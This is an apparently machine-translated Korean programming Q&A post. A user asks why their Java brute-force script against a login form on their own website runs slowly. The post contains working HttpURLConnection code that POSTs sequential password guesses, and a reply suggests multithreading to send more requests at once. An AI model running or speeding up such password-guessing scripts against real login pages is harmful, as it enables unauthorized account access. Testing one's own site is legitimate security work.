2
나는 내 웹 사이트에서 직접 만든 간단한 로그인 양식을 강제로 작성하려고합니다. 처음에는 WebScarab의 fuzzer 플러그인을 사용했지만 꽤 빠릅니다. 그렇다면 더 많은 것을 커스터마이징해서 아주 단순한 코딩으로 무차별 대항력을 얻을 수 있다고 생각합니다. 그러나 놀랍게도 Java 코드는 너무 느리게 실행됩니다. WebScarab 플러그인보다 훨씬 느린 초당 약 2.5 요청 ... 연결 부분을 제대로 수행하지 못한다고 느낍니다. 도움이 필요하십니까? 감사!Java HTTP URL 연결로 무차별적인 공격
public class HTTPURLConnection {
int guessPassword = 0;
public static void main(String[] args) throws Exception {
HTTPURLConnection http = new HTTPURLConnection();
System.out.println("Start!");
//I'm simply guessing password ranging from 0 to 200
for (int i =0; i<200; i++) {
if(http.sendPost())
break;
}
System.out.println("Done!");
}
private boolean sendPost() throws Exception {
String url = "http://mywebsite.com/myfile.php";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
//add request header
con.setRequestMethod("POST");
con.setRequestProperty("User-Agent", "Mozilla/5.0 etc.");
con.setRequestProperty("Accept-Language", "en-US,en;q=0.8");
con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
con.setRequestProperty("Connection", "keep-alive");
con.setRequestProperty("Accept", "*/*");
con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");
guessPassword ++;
String urlParameters = "name=userName&pwd="+guessPassword;
// Send post request
con.setDoOutput(true);
DataOutputStream wr = new DataOutputStream(con.getOutputStream());
wr.writeBytes(urlParameters);
wr.flush();
wr.close();
int responseCode = con.getResponseCode();
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
//if password is not correct, my form should return false
if (response.toString().equals("false"))
return false;
else
return true;
}
}
느린 속도의 원인을 찾으려면 각 작업의 길이를 측정해야합니다. 또한 다중 스레드를 사용하여 동시에 여러 요청을 실행하는 것을 고려할 수도 있습니다. –